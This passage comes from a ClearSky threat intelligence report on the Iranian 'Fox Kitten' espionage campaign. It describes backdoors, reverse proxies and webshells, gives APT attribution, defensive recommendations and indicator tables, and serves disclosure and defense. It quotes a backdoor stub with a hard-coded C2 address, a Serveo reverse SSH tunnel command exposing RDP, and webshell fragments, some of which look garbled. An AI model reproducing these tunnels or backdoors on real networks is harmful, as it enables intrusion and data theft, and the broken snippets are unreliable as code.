After successful installation and connection, the attacker connects by RDP to a user that he/she had created on the server, collects relevant files (mainly documents), and then compiles and uploads them in different ways, also through different webshells.

Additionally, the attacker can change the code remotely, by using remote procedures (RPC). This can be seen by the string we've found in several files:

```
RPC Control\ConsoleLPC-0x00000D00--4464068031611364423-192740709229075714434655797-2141428712-859675490-1693773642
```

### 4.4.2 Socket-based Backdoor for Socket Opening

**MITRE ATT&CK Tactic: Command and Control (TA0005)**

**MITRE ATT&CK Technique: Uncommonly Used Port (T1065)**

This is a tool which allows opening sockets and it’s based on several publicly available scripts, modified by the group. The attackers use the tool, named “cs.exe” on target network, to create a backdoor as an additional communication channel. As part of the tool’s activity, it allows creating a communication channel based on two-way, connection-based byte streams between to end points. The piece of code that defines the channel’s properties is called “eifHEY”, and with it the type of the socket (SocketType.Stream) and the protocol over which the information will be transmitted (ProtocolType.Tcp) are defined as well:
In the main function, the hard-coded IP address (95.211.104.253) and the port (2255) are defined:

Upon starting a connection with this tool to the C2 server, the “Idstr” value will contain the server’s address:

```
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;

namespace hvuwKBnBRHT1GR
{
    internal class eIfHEY
    {
        private static byte[] xjDRECvkf(string gRmkcUEOG, int vRqGWhu3F1)
        {
        }

        private static void dmKkvDaBcelmqc(byte[] xWyLBwGijwTi)
        {
        }

        private static void Main()
        {
            byte[] xWyLBwGijwTi = eIfHEY.xjDRECvkf("95.211.104.253", 2255);
            eIfHEY.dmKkvDaBcelmqc(xWyLBwGijwTi);
        }
    }
}
```

The backdoor is identified by 39 Anti-Virus engines:
Additionally, we’ve identified several files connected to this backdoor, called “ConsoleApplication5.exe”, and establishing a connection with the same server at 95.211.104[.]253. The PDB route of the files is:

C:\\users\\administrator\\documents\\visual studio\\2015\\Projects\\ConsoleApplication5\\ConsoleApplication5\\obj\\Release\\ConsoleApplication5.pdb

4.4.3 “Servo”, “Ngrok”, and “FRP”

MITRE ATT&CK Tactic: Command And Control, Defense Evasion (TA0011, TA0005)
MITRE ATT&CK Technique: Connection Proxy (T1090)

During analysis, we have identified three public tools used as reverse proxy/SSH forwarding by the attackers – Ngrok, Servo, and FRP.

Ngrok

Ngrok is a publicly available tool that allows a free, secure connection between the corporate network’s localhost and the internet13. Using Ngrok, the attacker can securely exfiltrate any file present on the corporate network, including those that the attacker created him/herself. The attacker can connect to the target station with RDP, activate a webshell, for example, and remotely access files that are not supposed to be exposed. In parallel, the attacker can monitor any HTTP connection attempt to Ngrok’s address and see its exposure to the outside world. Moreover, the attacker can create domains even for services that don’t use HTTP, e.g. SSH tunneling, which can be useful for the operation of the tools discussed earlier. An example of this tool being used is the IP address 18.211.150[.]202, operated by Amazon and used by the Iranians for this campaign.

13 ngrok.com/
Serveo

Serveo is a free tool for opening outside-facing servers and applications on a corporate network\(^{14}\), whether on localhost or elsewhere. Unlike Ngrok, Serveo is an SSH-only server; also, any port that will be defined to it (safe for 22, 80, and 443 which are accessible from outside) will get another, unassigned TCP port instead. Using this service, the attacker was operating different services inside the network. Thus, for instance, the attacker had operated an RDP connection through the localhost on port 3389 (RDP); using Serveo, the attacker has opened this RDP for the outside world through port 12618 (TCP). The attacker has opened an SSH tunneling to another port in order to maintain an encrypted RDP on the attacked target.

```
  echo y | C:\Windows\System32\svchost.exe -ssh -R 12618:127.0.0.1:3389 test@serveo.net
```

Moreover, like with the backdoor that had hardcoded and predefined credentials, here too the attacker separated every server that was opened to the outside world. In the example above (whereas the original credentials were omitted), the attacker had created a personal user in Serveo for a specific server.

FRP

Fast Reverse Proxy (FRP)\(^{15}\) is a method for revealing servers behind NAT or a firewall to the outside world. To bypass it, the attacker uses the company's original proxy and from there goes out.

4.4.4 Internal and External Webshells

MITRE ATT&CK Tactic: Persistence, Command And Control (TA0008, TA0011)

MITRE ATT&CK Technique: WebShell, Connection Proxy, Remote Services (T1100, T1090, T1021)

The attacker used a variety of methods to maintain his/her access to the numerous servers inside the targeted organization. This access allowed the attacker to continue establishing the foothold in the organization and exfiltrate stolen files. These actions were carried out, amongst other things, through webshells of two kinds:

- A webshell inside the organization accessible to the network.
- An external webshell where files can be uploaded to.

Local IIS webshells and virtual directory

Upon breaching the network, the attacker creates a webshell using IIS on a server to which the attacker got the permissions. The webshell is either downloaded directly, using aspx files, some of which the attacker finds on the internet, or using a self-developed webshell, hidden under other file extensions, e.g. .gif or .jpg.

One of the webshell files was uploaded to Virus Total from Iran on November 27\(^{th}\), 2019, close to the peak of attacks against Israeli companies. This file, called warn.aspx, contains a form that will be established in the company and will allow CMD run inside the corporate network. The script allowing

\(^{14}\) serveo.net/

\(^{15}\) github.com/fatedier/frp
it is written in C. This file will be part of the applications used by the attacker, through IIS, on the client side:

```
<%@ Register TagPrefix="Form1" TagName="runat" Assembly="Form1.dll" %>
<asp:Form ID="Form1" runat="server">
  <asp:Button ID="btnRun" runat="server" Text="Run" onclick="runForm()" />
</asp:Form>
```

Another file was written in Jscript and contains evidence of using base64 encoding (note the “admin@123” user):

```
<script>
  eval([System.Text.Encoding.UTF8.GetBytes("admin@123")].reverse().ToString());
</script>
```

For reasons unclear to us at this time, we have found the attackers executing a process focused on numerous servers on the company’s internal network. First, the attackers created a webshell through IIS exposed to the world. Parallelly, they created a virtual directory on another server to which they also had access. In this directory the attackers installed the aspx file. Thus, when the attackers wanted to communicate with another server sitting on the same corporate LAN, they could do this using one webshell. Following is a scheme of this action:

![Diagram of network communication](image)

**Exfiltration channel – communicating with the C2 server**

We have found open directories, exposed through port 80 to the outside world on external servers used throughout the campaign.

On one of the PHP files we have found a form that allows to upload files directly to the server:

```
<form method="post">
  <input type="file" name="file">
  <input type="submit" value="Submit">
</form>
```
In the attack scenarios discovered by us, four C2 servers were used. Each server has four open ports – 80, 443, and 22 (OpenSSH). The address of the chosen server was hardcoded in the malware’s source code and the connection to it was performed using methods elaborated earlier. It appears that only in singular cases the same server was reused. The servers active throughout the October 2019 attacks were of the Apache type. Every such server got a separate and server-specific key.

In 2017, the APT34 group attacked several IT companies in Israel, similar to the targeting in this campaign. In order to perform the initial infection of the company, the group has used the CVE-2017-0199 vulnerability to salvage and HTA script from an RTF file.

Using a tool called “rtfdump”, we have analyzed the aforementioned file, in order to understand whether there are OLE actions, for instance, which could allow the activation of the vulnerability.

As can be seen from the output, those components were not used. However, in Level 3, under the Generator title, there is data that can be salvaged and describes the file's version and language:

```
\"generator\ LibreOffice/5.0.6.2
LibreOffice_project/00m02}\\info\creativ\yr2017\mo3\dy27\hr14\min10
```

As one can see, the file exists since March 27th, 2017, close to the APT34 attacks in Israel using RTF files. Also, the file’s language is “Arabic – Saudi Arabia”: 
4.4.5 Archives (WinRAR or 7-zip)

MITRE ATT&CK Tactic: Exfiltration (TA0010)
MITRE ATT&CK Technique: Data Compressed (T1002)

During our analysis of the different targets, we have seen that the attackers are manually sifting the relevant intelligence before sending it back to Iran. After marking all the desired files, the material will be compressed into WinRAR or 7-ZIP files, and only then will be sent to the attackers.
5. Attribution to Iranian APT Groups

The Fox Kitten campaign is a continuous campaign operated, with high probability, by state-sponsored Iranian APT groups whose purpose is espionage against numerous companies mainly in the sectors of IT, defense, electricity, oil and gas and aviation companies.

This campaign was operated against companies in Israel, USA, Saudi Arabia, Lebanon, Kuwait, UAE, Australia, France, Poland, Germany, Finland, Hungary, Italy and Austria, in two main attack waves. Following is a map that summarizes the countries where we have identified the targets of the campaign. The main targets, where we saw high activity, are marked with red (Israel, US, and the Gulf countries), while the rest are marked with orange.

The attribution of the campaign to Iranian offensive groups is based on several characteristics, including reuse of an Iranian attack infrastructure, parts of which were revealed and marked in the past; based on previous intelligence reports; strings in Persian found in code pieces.

During our analysis, we have identified, with medium-high confidence, connections to the APT34 group, also called OilRig, based on overlaps with an offensive infrastructure from 2017, widespread use of webshells, and similar victim profile.

Through cooperation with Dragos, we have identified, with medium confidence, a connection between this campaign and the Iranian attack group APT33, also called Ellin. We didn’t identify destructive malware in this campaign. Also, in this campaign, similar to the Dustman\(^{16}\) malware event, which is considered a variant of the ZeroCleare\(^{17}\) destructive malware, vulnerabilities were exploited in VPN services such as Pulse Secure Connect, Fortinet VPN, and Palo Alto Networks’ Global Protect. IBM has attributed the ZeroCleare distribution campaign to APT34 with an additional Iranian group known for

\(^{16}\) zdnet.com/article/new-iranian-data-wiper-malware-hits-bapco-bahrain-national-oil-company/
CAN capabilities, and we assess that this means APT33. We have also found an overlap, with medium confidence and based on the MITRE ATT&CK model, between the Fox Kitten campaign and the TTPs of APT39, also called Chafer, which is a sub-group of APT34.

In this chapter, we will try to propose explanations to our assessment regards the Iranian groups’ standing behind this infrastructure.

The connection to APT34:

The first wave of attacks in the Fox Kitten campaign took place in November-December 2017, while the second wave took place in October 2019. The Iranian offensive group APT34 (aka OilRig and HelixKitten) has attacked in recent years companies in the IT, oil and gas, aviation, and security sectors, while companies from the same sectors were attack in the Fox Kitten campaign as well. In the widespread campaign of 2017, the group has tried to breach a group of Israeli IT companies. Moreover, in the campaign that we have revealed there is a reuse of a small part of the attack infrastructures used by the group in 2017. Several companies which were attacked in the 2017 campaign, were attacked again in this campaign.

Another characteristic – while not indicative in itself – is the widespread use of webshells, which fits the group’s past TTPs. In April-May 2019, a number of webshells belonging to OilRig were revealed throughout the Middle East, most of which against companies in the Gulf and in Israel – in Israel, a webshell-based attack was revealed in one of the country’s leading universities, while in the Gulf several webshells were found in aviation companies and ministries.

The connection to APT33:

Dragos, in a report from January 12th, 2020, revealed that this campaign, which they call “Parisite”, was designed, amongst other things, to attack American electricity companies shortly after the demise of Qassem Soleimani. Dragos researchers mentioned a connection that they have found between the “Parisite” campaign and the APT33 group, and emphasized the focus on IT companies, in a similar way we did in our research in Israel. In our research we found overlaps between some of the files used in the “Parisite” campaign and the files and tools used in the “Fox Kitten” campaign.

Cooperation between Iranian groups:

In this part, we will try to explain the connection between the APT34-APT33 cooperation and the “Fox Kitten” campaign. In January 2020, IBM and the Saudi National Cybersecurity Authority published reports on destructive malwares called “ZeroCleare” and “Dustman”, which were spread in the Middle East and specifically in the Gulf. These malwares resemble the APT33-attributed Shamoon malware. In IBM’s report it was mentioned that the attack was divided into two main parts – breach and access to the network be APT34, and then distribution of a destructive capability by another Iranian group, which we assess to be APT33. In the Saudi NCA report, it was mentioned that “Dustman” was initially distributed by exploiting VPN vulnerabilities. Judging from the report’s recommendations regards the products of Palo Alto, Pulse Secure, and Fortinet, it can be inferred that, like in the “Fox Kitten” campaign, in the campaign revealed in the Gulf similar vulnerabilities were exploited.

18 clearskys.com/oilrig/
19 misterch0c.blogspot.com/2019/04/apt34-oilrig-leak.html
20 https://www.wired.com/story/iran-apt33-us-electric-grid/
The cooperation between the groups, revealed in the IBM report, the VPN vulnerabilities' exploitation, and the overlap between files used in the “Parasite” campaign and “Fox Kitten” campaign lead us to assess, with medium confidence, that the groups used a similar infrastructure in this campaign as well.

**The connection to APT39:**

During analysis, we have found, with medium confidence, a connection between “Fox Kitten” and the APT39 group, also called Chafer and considered a sub-group of APT34. This connection is based on a certain overlap in the tools and work methods used, based on the MITRE ATT&CK model, and based on 2018-2019 reports by FireEye and Symantec\(^1\). The most apparent overlap in methods includes the use of stolen VPN credentials, lateral movement through RDP, and exfiltration based on file compression in ZIP or RAR formats (T1003, T1046, T1090, T1094, T1076, T1002).

**In conclusion,** we attribute the “Fox Kitten” campaign, with medium-high confidence, to the APT34 group, and with medium confidence to the APT33 and APT39 groups, and we assess that there is a cooperation between the groups in infrastructure and possible beyond that. We assess this campaign’s main goal to be intelligence collection on the targets and creating a supply-chain attack. In our analysis, we have not identified distribution of destructive malware in the attacked organizations.

\(^1\) [fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html](fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html)

6. Insights and Recommendations

The Attackers

- The Iranian offensive establishment has reached the level of knowledge and flexibility which allows it to use “Day 1” malware, i.e. development and distribution of malware using revealed vulnerabilities, in a period of hours to days since their publication.
- The Iranians understand that a direct attack on defense systems is difficult, while infiltration using VPN systems that bring you directly to the target’s core systems is much more cost effective.
- This report reveals a strong connection to two groups that were analyzed until today as separate units. In recent months, several reports dealing with tool common to APT34 and APT33 were published, while this report exemplifies the cooperation between the two as one big espionage establishment. We know that both groups work in many tracks – infection and social engineering, reconnaissance and espionage, and even sabotage, while emphasizing each group’s specialty. We assess such recon campaigns to be convertible to disseminate destructive attacks after studying the target organization, similar to the “ZeroCleare” events in the Gulf.

The Attack Infrastructure

- VPN systems which allow remote access to corporate systems comprise a significant risk, because they essentially bypass all defense systems deployed vis-à-vis the internet. Review and assessment are needed to understand whether the systems are controlled and monitored completely by the organization.
- The timeframe given to install a security patch after the vulnerability has been published has shortened and we assess it to be between 24 hours and a week between the vulnerability's publication and the moment it becomes a real threat for the organization.
- Checking outward facing systems, including different VPN systems, is critically important for the company. There is a need of constant monitoring, making sure that the systems are constantly updated, and preventing unneeded exposure of the administration interfaces to the outside world. We also assess that there is a need to try and minimize the systems to the bare minimum. Recheck of security updates to VPN systems is to be routinely preformed as well.
- After each update performed on core corporate systems, including VPN systems, it is recommended to reset all password to all end users in the organization and to oblige all users to re-connect to the services, in order to identify unwanted connections. Additionally, if it is possible, it is recommended to create a two-step authentication to the corporate core systems.
- It is recommended to use VPN services that keep logs on a different media (preferably non-erasable) during communication.
- Users’ permissions and active users on each station should be monitored constantly. In this campaign, the attackers have created, multiple times, local users that allowed them to act freely.
- The attack infrastructure attached to this report should be monitored and blocked.
### 7. Indicators

#### Hashes

<table>
<thead>
<tr>
<th>MD5</th>
<th>Description</th>
<th>Uploads to Virus Total from significant countries</th>
<th>Initial upload date to Virus Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>364F57928FC5FB0019B73F3FBD57F99B</td>
<td>STSRCHECK - Self-Development Port and DB Scanner + Brute Force tool</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>07D3D333D7235B13D0FAC4329E0D2420</td>
<td>Webshell – ASPX file (cmd.aspx)</td>
<td>IR</td>
<td>27/11/18</td>
</tr>
<tr>
<td>41CDA77C69614A0FBC4A38EBAE659B</td>
<td>Webshell – ASPX files</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6FEA7A0B2B6D014C1B15DEFE8963273</td>
<td>Webshell – ASPX files</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6FEA7A0B2B6D014C1B15DEFE8963273</td>
<td>Webshell – ASPX files</td>
<td></td>
<td></td>
</tr>
<tr>
<td>6FEA7A0B2B6D014C1B15DEFE8963273</td>
<td>Webshell – ASPX files</td>
<td></td>
<td></td>
</tr>
<tr>
<td>9DC9BBDC6B0A946489CCD8793D22F28</td>
<td>Webshell – GIF file</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ac9993f1124d404a08531df9a0a28c9</td>
<td>Combine.bat</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>95ee534f3f3f05a895a1842898a4880e</td>
<td>HEX in TXT</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>62de35201acc8333e04221d9343e73e0</td>
<td>Down VBS</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>7819f37930edcddb74b0535bc12558c</td>
<td>V VBS</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>06d882d4c601a086f3b0f13f5f756830</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>5def1ab33ddff4455aa8b7b70a66e04</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>3741f987c9bd14263f4b824dce8c147</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>62de35201acc8333e04221d9343e73e0</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>5c9d14c8ef4e9b8c0b4bd028c5a77a</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>94a47463e0bd52aec5e90a5177e0a9b</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>54603f3e3aa3c4f3585011a5940c2f6b6f</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>3587c8bfe136e67b5b0ba0d63d009b36</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>f9103618c1b8e6073b89ce28ba2679c</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>a84549691a492d081b1177b6c4518b0</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>808502752ca0492aca995e9b620d507b</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>5C67064F8FD83FDCCCEAB49728495C3F4</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>01a9293fb10985204a4278006796ea3f</td>
<td>Juicy Potato - Local Privilege Escalation tool</td>
<td>IL</td>
<td>07/10/19</td>
</tr>
<tr>
<td>A87D95456F323BD373CB958273D5F88BB</td>
<td>Invoke-SMBClient.ps1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>B4FCB52673089CAF3E6E76379F2604D8</td>
<td>Invoke-SMBEnum.ps1</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>MDS</td>
<td>Description</td>
<td>Uploads to Virus Total from significant countries</td>
<td>Initial upload date to Virus Total</td>
</tr>
<tr>
<td>-------------------------</td>
<td>----------------------</td>
<td>--------------------------------------------------</td>
<td>-----------------------------------</td>
</tr>
<tr>
<td>31B431DF84EAF71848C8B172C40124EC</td>
<td>Invoke-SMBExec.ps1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0C4DB17ED14531OF336AB4887914F80C</td>
<td>Invoke-TheHash.ps1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>836D6174E087E60178323701218A4</td>
<td>Invoke-TheHash.ps1d</td>
<td></td>
<td></td>
</tr>
<tr>
<td>54AF54C9E0AA4B26C4BE03C44C5F473</td>
<td>Invoke-TheHash.psm1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>B63DE834AB7CC8FD6E71003C6786213</td>
<td>Invoke-WMIExec.ps1</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Backdoor**

<table>
<thead>
<tr>
<th>MDS</th>
<th>Description</th>
<th>Country Code</th>
<th>Initial upload date</th>
</tr>
</thead>
<tbody>
<tr>
<td>783dc28185837c8e66dca34e9a519c7c</td>
<td>RDP over SSH (SSHNET) Backdoor</td>
<td>IL</td>
<td>03/10/19</td>
</tr>
<tr>
<td>29fb089328e7867ff86739583a9e63a</td>
<td>RDP over SSH (SSHNET) Backdoor</td>
<td>US, IL</td>
<td>11/12/17</td>
</tr>
<tr>
<td>f064ff619ebf67a59566c0dd54c5d05c</td>
<td>RDP over SSH (SSHNET) Backdoor</td>
<td>ZZ, US</td>
<td>14/12/17</td>
</tr>
<tr>
<td>475f89de6031db2158231eafa07b8b72</td>
<td>SOCKET-Based Backdoor (cs.exe)</td>
<td>NL, US</td>
<td>11/12/17</td>
</tr>
<tr>
<td>cfcbb6472cac07ea138379578d80845b 155837e476b50c93b6522b310a684a33 cb84fc4682a74ba81ef477bc1359959b</td>
<td>Console Application Backdoor</td>
<td>ZZ, IL</td>
<td>14/12/17</td>
</tr>
</tbody>
</table>

**IP Addresses**

<table>
<thead>
<tr>
<th>IP</th>
<th>ASN</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>18.221.150[].202</td>
<td>AS 16509 (Amazon.com, Inc.)</td>
<td>Ngrok</td>
</tr>
<tr>
<td>185.32.178[].176</td>
<td>AS 21450 (HOT Mobile Ltd.)</td>
<td>Webshell</td>
</tr>
<tr>
<td>93.177.75[].180</td>
<td>AS 9009 (M247 Ltd)</td>
<td>C&amp;C Rotten Fish</td>
</tr>
<tr>
<td>95.211.210[].55</td>
<td>AS 60781 (LeaseWeb Netherlands B.V.)</td>
<td>C&amp;C RDP over SSH Backdoor - 2017</td>
</tr>
<tr>
<td>95.211.213[].168</td>
<td>AS 60781 (LeaseWeb Netherlands B.V.)</td>
<td>C&amp;C RDP over SSH Backdoor - 2017</td>
</tr>
<tr>
<td>95.211.215[].226</td>
<td>AS 60781 (LeaseWeb Netherlands B.V.)</td>
<td>C&amp;C RDP over SSH Backdoor - 2017</td>
</tr>
<tr>
<td>95.211.213[].177</td>
<td>AS 60781 (LeaseWeb Netherlands B.V.)</td>
<td>C&amp;C RDP over SSH Backdoor - 2017</td>
</tr>
</tbody>
</table>
GUID ID

$6f1aaf94-fa2e-4768-afdb-cde8944498a4
$68c4e12f-221f-4580-9631-940208a4306c

Mutex

@ANlqnNScAIQ
@SISqnq
ClearSky Cyber Intelligence Report

Ahead of the Threat Curve

2020 All rights reserved to ClearSky Security Ltd.

TLP: White